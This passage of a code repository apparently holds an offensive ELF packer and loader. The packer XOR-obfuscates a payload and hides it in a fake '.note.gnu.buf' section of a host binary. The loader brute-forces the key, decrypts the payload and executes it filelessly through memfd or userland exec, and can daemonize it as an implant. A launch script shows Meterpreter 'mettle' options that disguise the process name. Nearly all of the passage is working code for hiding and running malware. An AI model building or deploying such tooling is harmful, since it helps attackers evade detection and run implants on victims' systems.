69 | 70 | # No options how to run the stage supplied, give options 71 | if [[ ${#PAY_OPTS[@]} -eq 0 ]] 72 | then 73 | printf "%s" "No options supplied. Options available: 74 | 75 | # launch payload via uexec 76 | ${DST_ELF_FILE} 77 | 78 | # launch payload via memfd(4) 79 | ${DST_ELF_FILE} -m 80 | 81 | # launch daemonized (at loader level) 82 | ${DST_ELF_FILE} -d 83 | 84 | # loader: daemonize, launch via memfd(4), then pass params to payloads if any 85 | #Ex: mettle: 86 | # -b, --background <0|1> start as a background service (0 disable, 1 enable) 87 | # -n, --name name to start as 88 | # -c, --console 89 | ${DST_ELF_FILE} -m -d -- -b 0 -n coworker -c 90 | 91 | Choose one 92 | " 93 | else 94 | echo [CMD]options: "${PAY_OPTS[@]}" ${RESET} 95 | $DST_ELF_FILE "${PAY_OPTS[@]}" 96 | fi 97 | 98 | 99 | -------------------------------------------------------------------------------- /src/elfioutil.cpp: -------------------------------------------------------------------------------- 1 | // 2 | // Created by dev on 1/4/22. 3 | // 4 | 5 | #include "elfioutil.h" 6 | using namespace std; 7 | using namespace ELFIO; 8 | 9 | void read_section_data_to_buffer(ELFIO::elfio& r, char** data, 10 | unsigned int sec_num, Elf_Xword sec_sz){ 11 | 12 | *data = (char*) calloc(sec_sz, 1); 13 | if (*data == nullptr) { 14 | cerr << "calloc() failed" << endl; 15 | exit(AFAULT); 16 | } 17 | section * cur_sec = r.sections[sec_num]; 18 | // Only assuming data begins at section boundary, without offset 19 | if (cur_sec->get_type() == SHT_PROGBITS){ 20 | *data = (char*) r.sections[sec_num]->get_data(); 21 | } 22 | } 23 | 24 | bool find_section_by_name(ELFIO::elfio& r, const char * sec_name, unsigned int* sec_num, unsigned long* sec_size){ 25 | int sec_name_found = FALSE; 26 | Elf_Half sec_num_total = r.sections.size(); 27 | 28 | for (int i = 0; i < sec_num_total; i++) { 29 | const section* psec = r.sections[i]; 30 | //printf("%s\n", psec->get_name().c_str()); 31 | //printf("strncmp %s %s limit %zu\n", psec->get_name().c_str(), sec_name, strlen(sec_name)); 32 | if (strncmp(psec->get_name().c_str(), sec_name, strlen(sec_name) ) == 0 ) { 33 | //printf("strncmp ok\n"); 34 | *sec_size = psec->get_size(); 35 | *sec_num = i; 36 | sec_name_found = TRUE; 37 | } 38 | } 39 | 40 | return sec_name_found; 41 | } 42 | -------------------------------------------------------------------------------- /src/elfioutil.h: -------------------------------------------------------------------------------- 1 | // 2 | // Created by dev on 1/4/22. 3 | // 4 | 5 | #ifndef ELFPACK_ELFIOUTIL_H 6 | #define ELFPACK_ELFIOUTIL_H 7 | 8 | #include 9 | #include 10 | 11 | #ifndef AFAULT 12 | #define AFAULT 127 13 | #endif 14 | 15 | #ifndef TRUE 16 | #define TRUE 1 17 | #endif 18 | 19 | #ifndef FALSE 20 | #define FALSE 0 21 | #endif 22 | 23 | #endif //ELFPACK_ELFIOUTIL_H 24 | -------------------------------------------------------------------------------- /src/elfldr.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | using namespace std; 4 | using namespace ELFIO; 5 | 6 | int main(int argc, char **argv) { 7 | 8 | char *psec_name = (char *) PSEC_NAME; 9 | char *ksec_name = (char *) KSEC_NAME; 10 | unsigned int psec_num = 0, ksec_num = 0; 11 | unsigned long psec_size = 0, ksec_size = 0; 12 | 13 | void *key_data = nullptr; 14 | void *algo_data = nullptr; 15 | void *p_data = nullptr; 16 | 17 | Elf_Word key_data_sz, algo_data_sz, p_data_sz; 18 | elfio reader; 19 | 20 | bool do_daemon = false; 21 | bool exec_memfd = false; 22 | 23 | char **new_argv = nullptr; 24 | 25 | // Process options, separate callee options from caller ( '--' ) 26 | int m, n, l, ch, a = 0; 27 | 28 | for (n = 1; n < argc; n++) /* Scan through args. */ 29 | { 30 | switch ((int) argv[n][0]) /* Check for option character. */ 31 | { 32 | case '-': 33 | l = (int) strlen(argv[n]); 34 | for (m = 1; m < l; ++m) /* Scan through valid options. */ 35 | { 36 | ch = (int) (unsigned char) argv[n][m]; 37 | switch (ch) { 38 | case 'd': 39 | dprint("Option: daemonize %c\n", ch); 40 | do_daemon = true; 41 | break; 42 | case 'm': 43 | dprint("Option: memfd_fallback %c\n", ch); 44 | exec_memfd = true; 45 | break; 46 | case '-': 47 | dprint("Option: double dash %c\n", ch); 48 | dprint("Option: end options\n"); 49 | // End opts, skip counting 50 | ++a; 51 | goto end_opts; // crude but 52 | default: 53 | dprint("Illegal option in command %c\n", ch); 54 | err(EXIT_FAILURE, "Illegal option in command %c\n", ch); 55 | break; 56 | } 57 | } 58 | break; 59 | default: 60 | break; 61 | } 62 | ++a; // increment cradle args processed 63 | } 64 | 65 | end_opts: 66 | 67 | // Setup callee args 68 | dprint("Setup: callee args\n"); 69 | set_exec_args(&new_argv, &argv, argc, a); 70 | 71 | // What is our path (use /proc, assuming it's available) 72 | dprint("Setup: getting FS path\n"); 73 | filesystem::path my_path = get_executable_path(); 74 | 75 | // Load host ELF data 76 | dprint("ELF reader: loading FS path\n"); 77 | if (!reader.load(my_path)) { 78 | cerr << "Can't find or process src ELF file: " << argv[0] << endl; 79 | exit(AFAULT); 80 | } 81 | 82 | // Find section with keys and algo 83 | if (find_section_by_name(reader, ksec_name, &ksec_num, &ksec_size) == TRUE) { 84 | cout << "Found section " << ksec_name << " at position " << ksec_num << " of size: " << ksec_size << endl; 85 | if (get_ksection_data(reader, ksec_num, &key_data, &key_data_sz, &algo_data, &algo_data_sz) == TRUE) { 86 | 87 | // Find section with data 88 | if (find_section_by_name(reader, psec_name, &psec_num, &psec_size) == TRUE) { 89 | cout << "Found section " << psec_name << " at position " << psec_num << " of size: " << psec_size 90 | << endl; 91 | if (get_psection_data(reader, psec_num, &p_data, &p_data_sz) == TRUE) { 92 | 93 | // Working with key data 94 | if (strcmp((char *) algo_data, "X") == 0) { 95 | // We are in XOR algo 96 | 97 | // Find decryption key via bruteforce on key space 98 | unsigned int k = find_x_key(&key_data); 99 | if (k == 0) { 100 | err(EXIT_FAILURE, "Keyspace does not contain key"); 101 | } 102 | cout << "Key found: (0x)" << hex << k << endl; 103 | 104 | // un-XOR buffer 105 | uxor_buffer((unsigned char **) (&p_data), (unsigned long) p_data_sz, k); 106 | 107 | #if DEBUG_PAYDUMPF == 1 108 | cout << "Dumping to disk ... " << endl; 109 | dump_buffer(p_data, p_data_sz, (char *) PAYDUMPF); 110 | #endif 111 | 112 | } else if (strcmp((char *) algo_data, "A") == 0) { 113 | // AES ... Exercise for the reader 114 | ; 115 | } else /* default: */ 116 | { 117 | err(EXIT_FAILURE, "%s not in algo choices ", (char *) algo_data); 118 | } 119 | 120 | 121 | // Handling launched context: stay foreground (simple command), or background it (e.g. implant) 122 | if (do_daemon) { 123 | dprint("Load_exec daemonized\n"); 124 | // Passing load_exec function w/parameters to daemonizer 125 | daemonize( (mem_exec) (load_exec), exec_memfd, (unsigned char const *) p_data, &new_argv); 126 | } else { 127 | dprint("Load_exec no daemon\n"); 128 | load_exec(exec_memfd, (unsigned char const *) p_data, &new_argv); 129 | } 130 | 131 | } else { 132 | err(EXIT_FAILURE, "Data context cannot be retrieved for psec_num %d ", psec_num); 133 | } 134 | } else { 135 | // Section not properly setup 136 | err(EXIT_FAILURE, "%s not found, last seen sec num: %d", ksec_name, ksec_num); 137 | } 138 | 139 | } else { 140 | err(EXIT_FAILURE, "Key context cannot be retrieved for ksec_num %d ", ksec_num); 141 | } 142 | 143 | } else { 144 | // Section not properly setup 145 | err(EXIT_FAILURE, "%s not found, last seen sec num: %d", ksec_name, ksec_num); 146 | } 147 | 148 | return 0; 149 | } -------------------------------------------------------------------------------- /src/elfldrlib.cpp: -------------------------------------------------------------------------------- 1 | // 2 | // Created by dev on 1/11/22. 3 | // 4 | 5 | #include 6 | 7 | using namespace std; 8 | using namespace ELFIO; 9 | 10 | bool get_psection_data(ELFIO::elfio &reader, 11 | unsigned int psec_num, 12 | void **p_data, Elf_Word *p_data_sz) { 13 | Elf_Word type; 14 | std::string name; 15 | bool found = FALSE; 16 | 17 | // There should be at least 2 entries in section: key and algo 18 | cout << "Checking psec_num: " << psec_num << endl; 19 | Elf_Word sec_entries_n = get_section_entries_n(reader, psec_num); 20 | if (sec_entries_n < PSEC_NENTRY) { 21 | err(EXIT_FAILURE, "ksec ix is %d, < %d", sec_entries_n, PSEC_NENTRY); 22 | } 23 | 24 | section *note_sec = reader.sections[psec_num]; 25 | note_section_accessor notes_reader(reader, note_sec); 26 | 27 | if (notes_reader.get_note(0x0, type, name, *p_data, *p_data_sz)) { 28 | // 'name' usually contains \0 at the end. Try to fix it 29 | name = name.c_str(); 30 | cout << "[" << 0x0 << "]" << " type: " << type << " name: " << name << " " << " Data sz:" << p_data_sz << endl; 31 | found = TRUE; 32 | } 33 | 34 | return found; 35 | } 36 | 37 | void clean_psection_data( unsigned int psec_num, const char * dst_elf_file) { 38 | Elf_Word type; 39 | std::string name; 40 | elfio reader; 41 | 42 | if (!reader.load(dst_elf_file)) { 43 | cerr << "Can't find or process src ELF file: " << dst_elf_file << endl; 44 | exit(AFAULT); 45 | } 46 | 47 | // There should be at least PSEC_NENTRY entries in section: key and algo 48 | Elf_Word sec_entries_n = get_section_entries_n(reader, psec_num); 49 | if (sec_entries_n < PSEC_NENTRY) { 50 | err(EXIT_FAILURE, "ksec ix is %d, < %d", sec_entries_n, PSEC_NENTRY); 51 | } 52 | dprint("psec_num: %d, number of entries: %d\n", psec_num, sec_entries_n); 53 | 54 | section *note_sec = reader.sections[psec_num]; 55 | note_section_accessor notes_reader(reader, note_sec); 56 | note_section_accessor notes_writer(reader, note_sec); 57 | 58 | 59 | for (Elf_Word i=0; i < sec_entries_n; i++){ 60 | void *p_data = NULL; 61 | Elf_Word p_data_sz; 62 | if (notes_reader.get_note(i, type, name, p_data, p_data_sz)) { 63 | void * c_data = calloc(p_data_sz,sizeof(char)); 64 | if ( c_data == NULL) { 65 | err(EXIT_FAILURE, "calloc() failed allocating %d\n", p_data_sz); 66 | } 67 | note_sec->set_data( (const char*) c_data, p_data_sz); 68 | } 69 | } 70 | 71 | if (reader.save(dst_elf_file) == TRUE) { 72 | dprint("%s\n", "Updated OK"); 73 | } 74 | } 75 | 76 | 77 | bool get_ksection_data(ELFIO::elfio &reader, 78 | unsigned int ksec_num, 79 | void **key_data, Elf_Word *key_data_sz, 80 | void **algo_data, Elf_Word *algo_data_sz) { 81 | Elf_Word type; 82 | std::string name; 83 | bool found = FALSE; 84 | 85 | // There should be at least 2 entries in section: key and algo 86 | cout << "Checking ksec_num: " << ksec_num << endl; 87 | Elf_Word sec_entries_n = get_section_entries_n(reader, ksec_num); 88 | if (sec_entries_n != KSEC_NENTRY) { 89 | err(EXIT_FAILURE, "ksec ix is %d, != %d", sec_entries_n, KSEC_NENTRY); 90 | } 91 | 92 | section *note_sec = reader.sections[ksec_num]; 93 | note_section_accessor notes_reader(reader, note_sec); 94 | 95 | if (notes_reader.get_note(0x0, type, name, *key_data, *key_data_sz)) { 96 | // 'name' usually contains \0 at the end. Try to fix it 97 | name = name.c_str(); 98 | cout << "[" << 0x0 << "]" << " type: " << type << " name: " << name << " " << " data: " << key_data << " sz:" 99 | << key_data_sz << endl; 100 | found = TRUE; 101 | } 102 | if (notes_reader.get_note(0x1, type, name, *algo_data, *algo_data_sz)) { 103 | // 'name' usually contains \0 at the end. Try to fix it 104 | name = name.c_str(); 105 | cout << "[" << 0x1 << "]" << " type: " << type << " name: " << name << " " << " data: " << algo_data << " sz:" 106 | << algo_data_sz << endl; 107 | found = TRUE; 108 | } 109 | 110 | return found; 111 | } 112 | 113 | void daemonize(mem_exec fp, bool memfd_method, unsigned char const *p_data, char ***args) { 114 | 115 | // Fork, allowing the parent process to terminate. 116 | pid_t pid = fork(); 117 | if (pid == -1) { 118 | // after first fork(), unsuccessful. exiting with error. 119 | err(EXIT_FAILURE, "First fork() unsuccessful"); 120 | } else if (pid != 0) { 121 | // after first fork() in parent. exiting by choice. 122 | _exit(0); 123 | } 124 | 125 | // Start a new session for the daemon. 126 | if (setsid() == -1) { 127 | // failed to become a session leader while daemonizing 128 | ; 129 | err(EXIT_FAILURE, "setsid() unsuccessful"); 130 | } 131 | 132 | // Fork again, allowing the parent process to terminate. 133 | signal(SIGCHLD, SIG_IGN); // avoid defunct processes. 134 | pid = fork(); 135 | if (pid == -1) { 136 | // after second fork(), unsuccessful. exiting with error. 137 | err(EXIT_FAILURE, "Second fork() unsuccessful"); 138 | } else if (pid != 0) { 139 | // after second fork() in parent. exiting by choice. 140 | _exit(0); 141 | } 142 | 143 | // Set the current working directory to the root directory. 144 | chdir(DAEMON_CHDIR); // do nothing if it cannot do so, or maybe attempt to chdir elsewhere 145 | 146 | // Set the user file creation mask to zero. 147 | umask(0); 148 | 149 | close(STDIN_FILENO); 150 | close(STDOUT_FILENO); 151 | close(STDERR_FILENO); 152 | // Reopen STDIN/OUT/ERR to Null 153 | if (open("/dev/null", O_RDONLY) == -1) { 154 | printf("Daemon: failed to reopen stdin while daemonizing (errno=%d)", errno); 155 | } 156 | if (open("/dev/null", O_WRONLY) == -1) { 157 | printf("Daemon: failed to reopen stdout while daemonizing (errno=%d)", errno); 158 | } 159 | if (open("/dev/null", O_RDWR) == -1) { 160 | printf("Daemon: failed to reopen stderr while daemonizing (errno=%d)", errno); 161 | } 162 | 163 | // Execute 164 | load_exec(memfd_method, (unsigned char const *) p_data, (char ***) args); 165 | 166 | } 167 | 168 | Elf_Word get_section_entries_n(ELFIO::elfio &reader, unsigned int section_number) { 169 | note_section_accessor notes_reader(reader, reader.sections[section_number]); 170 | return notes_reader.get_notes_num(); 171 | } 172 | 173 | void load_exec(bool memfd_method, unsigned char const *p_data, char ***args) { 174 | 175 | if (memfd_method) { 176 | dprint("Exec via memfd\n"); 177 | reflect_mfd_execv(p_data, *args); 178 | } else { 179 | dprint("Exec via uexec\n"); 180 | reflect_execv((unsigned char const *) p_data, *args); 181 | } 182 | } 183 | 184 | void set_exec_args( char *** new_argv, char *** argv, int argc, int skip_pos ){ 185 | 186 | // allocate memory and copy strings 187 | // total argc - number options taken by the callee 188 | (*new_argv) = (char **) malloc((argc - skip_pos + 1) * sizeof **new_argv); 189 | 190 | // Set up argv[0] for new context 191 | (*new_argv)[0] = (char *) (malloc(strlen((*argv[0])))); 192 | memcpy((*new_argv)[0], (*argv)[0], strlen((*argv)[0])); 193 | 194 | // Setup payload exec args, skipping cradle args, start from index 1 (skip argv[0]) 195 | for (int i = 1; i < argc - skip_pos; ++i) { 196 | size_t length = strlen((*argv)[skip_pos + i]) + 1; 197 | (*new_argv)[i] = (char *) (malloc(length)); 198 | memcpy((*new_argv)[i], (*argv)[skip_pos + i], length); 199 | } 200 | // Finish up array of pointers 201 | (*new_argv)[argc - skip_pos] = nullptr; 202 | 203 | #ifdef DEBUG 204 | // new_argv 205 | for (int i = 0; i < argc - skip_pos; ++i) { 206 | printf("Arg: %s\n", (*new_argv)[i]); 207 | } 208 | #endif 209 | } 210 | 211 | unsigned int find_x_key(void ** key_data ) { 212 | 213 | unsigned int k = 0; 214 | for (unsigned int i = 0; i < 0xFFFFFFFF; i++) { 215 | // Rotate back and get lower bits 216 | if ((rightRotate(*((unsigned char *) *key_data), KSEC_BITSHIFT_POS) ^ i) == 217 | KSEC_CANARY_CHAR && 218 | (rightRotate(*((unsigned char *) *key_data + 1), KSEC_BITSHIFT_POS) ^ i) == 219 | KSEC_CANARY_CHAR && 220 | (rightRotate(*((unsigned char *) *key_data + 2), KSEC_BITSHIFT_POS) ^ i) == 221 | KSEC_CANARY_CHAR && 222 | (rightRotate(*((unsigned char *) *key_data + 3), KSEC_BITSHIFT_POS) ^ i) == 223 | KSEC_CANARY_CHAR 224 | ) { 225 | 226 | k = i & 0xFF; // get lower 16 bits 227 | break; 228 | } 229 | } 230 | return k; 231 | } 232 | 233 | std::filesystem::path get_executable_path() { 234 | return std::filesystem::canonical("/proc/self/exe"); 235 | } 236 | 237 | -------------------------------------------------------------------------------- /src/elfpack.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | using namespace std; 4 | using namespace ELFIO; 5 | 6 | int main(int argc, char **argv) { 7 | 8 | if (argc != 8) { 9 | cerr << "Usage: " << argv[0] 10 | << " <.dst_sec> " << endl; 11 | exit(AFAULT); 12 | } 13 | 14 | char *host_elf_file = argv[1]; 15 | char *payload_file = argv[2]; 16 | char *dst_elf_file = argv[3]; 17 | char *dst_sec_name = argv[4]; 18 | char *dst_desc_name = argv[5]; 19 | char *algo = argv[6]; 20 | char *key = argv[7]; 21 | unsigned long* xor_key_store = nullptr; 22 | 23 | unsigned int sec_num; 24 | unsigned long sec_size; 25 | unsigned char *data = nullptr; 26 | ssize_t data_sz; 27 | section *note_sec = nullptr; 28 | Elf_Word note_entry_seq = 0x01; 29 | 30 | elfio reader_writer; 31 | 32 | // Check that host file exists and readable 33 | if (access(host_elf_file, F_OK | R_OK) != 0) { 34 | cerr << "Host file not accessible: " << host_elf_file << endl; 35 | exit(AFAULT); 36 | } 37 | 38 | // Check that payload file exists and readable 39 | if (access(payload_file, F_OK | R_OK) != 0) { 40 | cerr << "Payload file not accessible: " << payload_file << endl; 41 | exit(AFAULT); 42 | } 43 | 44 | // Check that dst ELF does not exist 45 | if (access(dst_elf_file, F_OK) == 0) { 46 | cerr << "dst ELF file exists. Remove it first: " << dst_elf_file << endl; 47 | exit(AFAULT); 48 | } 49 | 50 | // Load host ELF data 51 | if (!reader_writer.load(host_elf_file)) { 52 | cerr << "Can't find or process src ELF file: " << host_elf_file << endl; 53 | exit(AFAULT); 54 | } 55 | 56 | // Read payload 57 | data_sz = read_file_to_buffer(payload_file, &data); 58 | 59 | // Add new section or add new entry in existing section (chaining) 60 | if (find_section_by_name(reader_writer, dst_sec_name, &sec_num, &sec_size) == TRUE) { 61 | note_sec = reader_writer.sections[sec_num]; 62 | note_section_accessor notes_reader(reader_writer, note_sec); 63 | Elf_Word no_notes = notes_reader.get_notes_num(); 64 | cout << "Currently there " << no_notes << "records in section" << endl; 65 | note_entry_seq += 1; 66 | cout << "Next record sequence is " << note_entry_seq << endl; 67 | } else { 68 | note_sec = reader_writer.sections.add(dst_sec_name); 69 | note_sec->set_type(SHT_NOTE); 70 | } 71 | 72 | note_section_accessor pnote_writer(reader_writer, note_sec); 73 | cout << "Entry: " 74 | << note_entry_seq 75 | << ", Desc: " 76 | << dst_desc_name 77 | << ", Data Sz: " 78 | << data_sz 79 | << endl; 80 | 81 | 82 | if (strcmp(algo, "X") == 0) 83 | { 84 | // XOR method 85 | xKey2Buf(key,&xor_key_store); 86 | cout << "Xor key: " << hex << xor_key_store[0] << endl; 87 | 88 | // XOR data 89 | xor_buffer(&data, data_sz, xor_key_store[0]); 90 | 91 | // Write data to section 92 | pnote_writer.add_note(note_entry_seq, dst_desc_name, data, data_sz); 93 | } 94 | else if (strcmp(algo, "A") == 0) 95 | { 96 | // AES ... 97 | } 98 | else /* default: */ 99 | { 100 | err(EXIT_FAILURE, "%s not in algo choices ", algo); 101 | } 102 | 103 | 104 | // Write meta data to meta section 105 | note_sec = reader_writer.sections.add(".note.gnu.buf"); // TODO: add external argument 106 | note_sec->set_type(SHT_NOTE); 107 | 108 | note_section_accessor knote_writer(reader_writer, note_sec); 109 | 110 | 111 | unsigned int canary_buffer_sz = 4; 112 | unsigned char * canary_buffer = (unsigned char*) calloc (sizeof(unsigned char), canary_buffer_sz); 113 | canary_buffer[0] = KSEC_CANARY_CHAR; 114 | canary_buffer[1] = KSEC_CANARY_CHAR; 115 | canary_buffer[2] = KSEC_CANARY_CHAR; 116 | canary_buffer[3] = KSEC_CANARY_CHAR; 117 | xor_buffer( &canary_buffer, canary_buffer_sz, xor_key_store[0]); 118 | 119 | 120 | 121 | // Key store 122 | // knote_writer.add_note(0x0, "0x0", xor_key_store, strlen(key)); // TODO: add external arguments, etc. 123 | knote_writer.add_note(0x0, "0x0", canary_buffer, canary_buffer_sz); // TODO: add external arguments, etc. 124 | knote_writer.add_note(0x1, "0x1", "X", strlen(algo)); // TODO: add external arguments, etc. 125 | 126 | 127 | if (reader_writer.save(dst_elf_file) == TRUE) { 128 | cout << "Packed " << dst_elf_file << " OK" << endl; 129 | } 130 | 131 | return 0; 132 | } 133 | 134 | 135 | -------------------------------------------------------------------------------- /src/include/elfldr.h: -------------------------------------------------------------------------------- 1 | // 2 | // Created by dev on 1/3/22. 3 | // 4 | 5 | #ifndef ELFLDR_H 6 | #define ELFLDR_H 7 | 8 | 9 | // Headers 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | 20 | #include 21 | #include 22 | #include 23 | #include 24 | 25 | //Vendor 26 | #include "elfioutil.h" 27 | extern "C" { 28 | #include "libreflect/reflect.h" 29 | #include "lsecutil/lsecutil.h" 30 | } 31 | 32 | // Function declarations 33 | typedef void ( *mem_exec )(unsigned char const * p_data, char *** args); 34 | 35 | std::filesystem::path get_executable_path(); 36 | bool find_section_by_name(ELFIO::elfio& r, const char * sec_name, unsigned int* sec_num, unsigned long* sec_size); 37 | void read_section_data_to_buffer(ELFIO::elfio& r, char** data, unsigned int sec_num, ELFIO::Elf_Xword sec_sz); 38 | unsigned int get_section_entries_n(ELFIO::elfio& r, unsigned int sec_num); 39 | bool get_ksection_data(ELFIO::elfio& r, unsigned int ksec_num, 40 | void ** key_data, ELFIO::Elf_Word * key_data_sz, 41 | void ** algo_data, ELFIO::Elf_Word * algo_data_sz); 42 | 43 | bool get_psection_data(ELFIO::elfio& r, unsigned int psec_num, 44 | void ** p_data, ELFIO::Elf_Word * p_data_sz); 45 | 46 | void clean_psection_data( unsigned int psec_num, const char * dst_elf_file); 47 | void daemonize( mem_exec fp, bool memfd_method, unsigned char const * p_data, char *** args); 48 | void load_exec( bool memfd_method, unsigned char const * p_data, char *** args); 49 | void set_exec_args( char *** new_argv, char *** argv, int argc, int skip_pos ); 50 | unsigned int find_x_key( void ** key_data ); 51 | 52 | // Defines and macros 53 | #ifndef PSEC_NAME 54 | #define PSEC_NAME ".note.gnu.buf[...]" 55 | #define PSEC_NENTRY 1 56 | #endif 57 | 58 | #ifndef KSEC_NAME 59 | #define KSEC_NAME ".note.gnu.buf" // section with expected keys 60 | #define KSEC_NENTRY 2 // minimal number of entries expected 61 | #define KSEC_BITSHIFT_POS 2 // shifting by X positions 62 | #define KSEC_CANARY_CHAR 0x90 // used for XOR bruteforce 63 | #endif 64 | 65 | #ifndef DAEMON_CHDIR 66 | #define DAEMON_CHDIR "/tmp" // where daemon chdir() to 67 | #endif 68 | 69 | #ifndef DEBUG 70 | #define DEBUG 1 // 1 - on, 0 - off 71 | 72 | #define DEBUG_PAYDUMPF 0 // Dump paylaod to local file 73 | #define PAYDUMPF "/tmp/dmp" 74 | 75 | #define dprint(fmt, ...) \ 76 | do { if (DEBUG == 1) fprintf(stderr, "%s:%d:%s(): " fmt, __FILE__, \ 77 | __LINE__, __func__, ##__VA_ARGS__); } while (0) 78 | #endif 79 | 80 | 81 | #endif //ELFLDR_H 82 | 83 | -------------------------------------------------------------------------------- /src/include/elfpack.h: -------------------------------------------------------------------------------- 1 | // 2 | // Created by dev on 1/3/22. 3 | // 4 | 5 | #ifndef ELFPACK_H 6 | #define ELFPACK_H 7 | 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | 15 | //Vendor 16 | #include 17 | #include 18 | #include "elfioutil.h" 19 | 20 | extern "C" { 21 | #include "lsecutil/lsecutil.h" 22 | } 23 | 24 | bool find_section_by_name(ELFIO::elfio& r, const char * sec_name, unsigned int* sec_num, unsigned long* sec_size); 25 | void read_section_data_to_buffer(ELFIO::elfio& r, char** data, unsigned int sec_num, ELFIO::Elf_Xword sec_sz); 26 | size_t write_buffer_to_file(char* dst_file_name, char ** data, ELFIO::Elf_Xword sz); 27 | 28 | #define KSEC_CANARY_CHAR 0x90 // used for XOR bruteforce 29 | #endif //ELFPACK_H 30 | 31 | -------------------------------------------------------------------------------- /src/lsecutil/lsecutil.c: -------------------------------------------------------------------------------- 1 | // 2 | // Created by dev on 12/21/21. 3 | // 4 | 5 | #include "lsecutil.h" 6 | 7 | /*Function to get file size*/ 8 | off_t get_file_size(char *fpath){ 9 | 10 | struct stat st; 11 | if ( -1 == stat(fpath, &st) ) { 12 | err(EXIT_FAILURE, "stat() \"%s\" failed", fpath); 13 | } 14 | return st.st_size; 15 | } 16 | 17 | /*Function to read data from file into buffer*/ 18 | ssize_t read_file_to_buffer(char *fpath, unsigned char **buffer){ 19 | 20 | ssize_t nread = 0; 21 | int fd; 22 | off_t fsize = 0; 23 | 24 | if ((fd = open(fpath, O_RDONLY)) < 0) { 25 | err(EXIT_FAILURE, "open() \"%s\" RW failed", fpath); 26 | } 27 | 28 | fsize = get_file_size(fpath); 29 | *buffer = calloc(fsize, sizeof (unsigned char)); 30 | if ( NULL == *buffer){ 31 | err(EXIT_FAILURE, "calloc() failed: %s for %ld bytes", fpath, fsize); 32 | } 33 | 34 | nread = read(fd, *buffer, fsize); 35 | printf("fd: %d file %s size %ld, read %ld\n", fd, fpath, fsize, nread); 36 | if (nread < 0 || nread < fsize) { 37 | err(EXIT_FAILURE, "read() \"%s\" failed", fpath); 38 | } 39 | return nread; 40 | } 41 | 42 | /*Function to dump binary buffer to file (f*) */ 43 | size_t write_buffer_to_file(char* file_name, char ** data, u_int64_t sz){ 44 | FILE *pFile = fopen(file_name, "wb"); 45 | size_t n = -1; 46 | 47 | if (pFile != NULL) { 48 | n = fwrite(*data, sizeof(u_int8_t), sz, pFile ); 49 | }else{ 50 | err(EXIT_FAILURE, "fwrite \"%s\" failed", file_name); 51 | } 52 | fclose(pFile); 53 | return n; 54 | } 55 | 56 | /*Function to dump binary buffer to file*/ 57 | void dump_buffer(const void *data, size_t size, char *dump_file) { 58 | if (dump_file != NULL) { 59 | ssize_t nwritten = -1; 60 | int fd = -1; 61 | if ((fd = open(dump_file, O_RDWR|O_CREAT)) < 0) { 62 | err(EXIT_FAILURE, "open() \"%s\" RW failed", dump_file); 63 | } 64 | nwritten = write(fd, data, size); 65 | if (nwritten < 0 || nwritten < size) { 66 | err(EXIT_FAILURE, "write() \"%s\" failed", dump_file); 67 | } 68 | close(fd); 69 | } 70 | } 71 | 72 | /*Function to XOR buffer with additional bit shifting*/ 73 | void xor_buffer( unsigned char **buffer, unsigned long bufferSize, unsigned char key ){ 74 | 75 | int i; 76 | for(i = 0;i < bufferSize;i++){ 77 | 78 | (*buffer)[i] = leftRotate( (*buffer)[i] ^ key, 2); 79 | //(*buffer)[i] = (*buffer)[i] ^ key; 80 | } 81 | } 82 | /*Function to un-XOR buffer with additional bit shifting*/ 83 | void uxor_buffer( unsigned char **buffer, unsigned long bufferSize, unsigned char key ){ 84 | 85 | int i; 86 | for(i = 0;i < bufferSize;i++){ 87 | // (*buffer)[i] = (*buffer)[i] ^ key; 88 | (*buffer)[i] = rightRotate( (*buffer)[i], 2 ) ^ key; 89 | } 90 | } 91 | 92 | /*Function to left rotate n by d bits*/ 93 | unsigned int leftRotate(unsigned int n, int d) 94 | { 95 | return (((n << d) & 0xFF) | (n >> (8-d))); 96 | } 97 | 98 | /*Function to right rotate n by d bits*/ 99 | unsigned int rightRotate(unsigned int n, int d) 100 | { 101 | return (((n >> d) & 0xFF) | (n << (8-d))); 102 | } 103 | 104 | /*Function to insert char XOR key into ulong array */ 105 | void xKey2Buf( char * key, unsigned long ** out){ 106 | *out = (unsigned long*) calloc(sizeof(unsigned char), 2); 107 | char *endptr = NULL; 108 | errno = 0; 109 | 110 | // Convert str key to long 111 | *out[0] = strtol(key, NULL, 16); 112 | if (errno != 0) { 113 | err(EXIT_FAILURE, "strtol() conversion of key %s", key); 114 | } 115 | 116 | if (endptr == key) { 117 | err(EXIT_FAILURE, "strtol(): no digits found %s", key); 118 | } 119 | } -------------------------------------------------------------------------------- /src/lsecutil/lsecutil.h: -------------------------------------------------------------------------------- 1 | // 2 | // Created by dev on 12/21/21. 3 | // 4 | 5 | #ifndef SECRYPT_LSECUTIL_H 6 | #define SECRYPT_LSECUTIL_H 7 | 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | 17 | #ifndef TRUE 18 | #define TRUE 1 19 | #endif 20 | 21 | #ifndef FALSE 22 | #define FALSE 0 23 | #endif 24 | off_t get_file_size(char *file_path); 25 | ssize_t read_file_to_buffer(char *file_path, unsigned char **buffer); 26 | void dump_buffer(const void *data, size_t size, char *dump_file); 27 | void xor_buffer( unsigned char **buffer, unsigned long bufferSize, unsigned char key ); 28 | void uxor_buffer( unsigned char **buffer, unsigned long bufferSize, unsigned char key ); 29 | unsigned int leftRotate(unsigned int n, int d); 30 | unsigned int rightRotate(unsigned int n, int d); 31 | void xKey2Buf( char * key, unsigned long ** out); 32 | 33 | #endif //SECRYPT_LSECUTIL_H 34 | -------------------------------------------------------------------------------- /vendor/include/elfio/elfio.hpp: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright (C) 2001-present by Serge Lamikhov-Center 3 | 4 | Permission is hereby granted, free of charge, to any person obtaining a copy 5 | of this software and associated documentation files (the "Software"), to deal 6 | in the Software without restriction, including without limitation the rights 7 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 8 | copies of the Software, and to permit persons to whom the Software is 9 | furnished to do so, subject to the following conditions: 10 | 11 | The above copyright notice and this permission notice shall be included in 12 | all copies or substantial portions of the Software. 13 | 14 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 15 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 16 | FITNESS 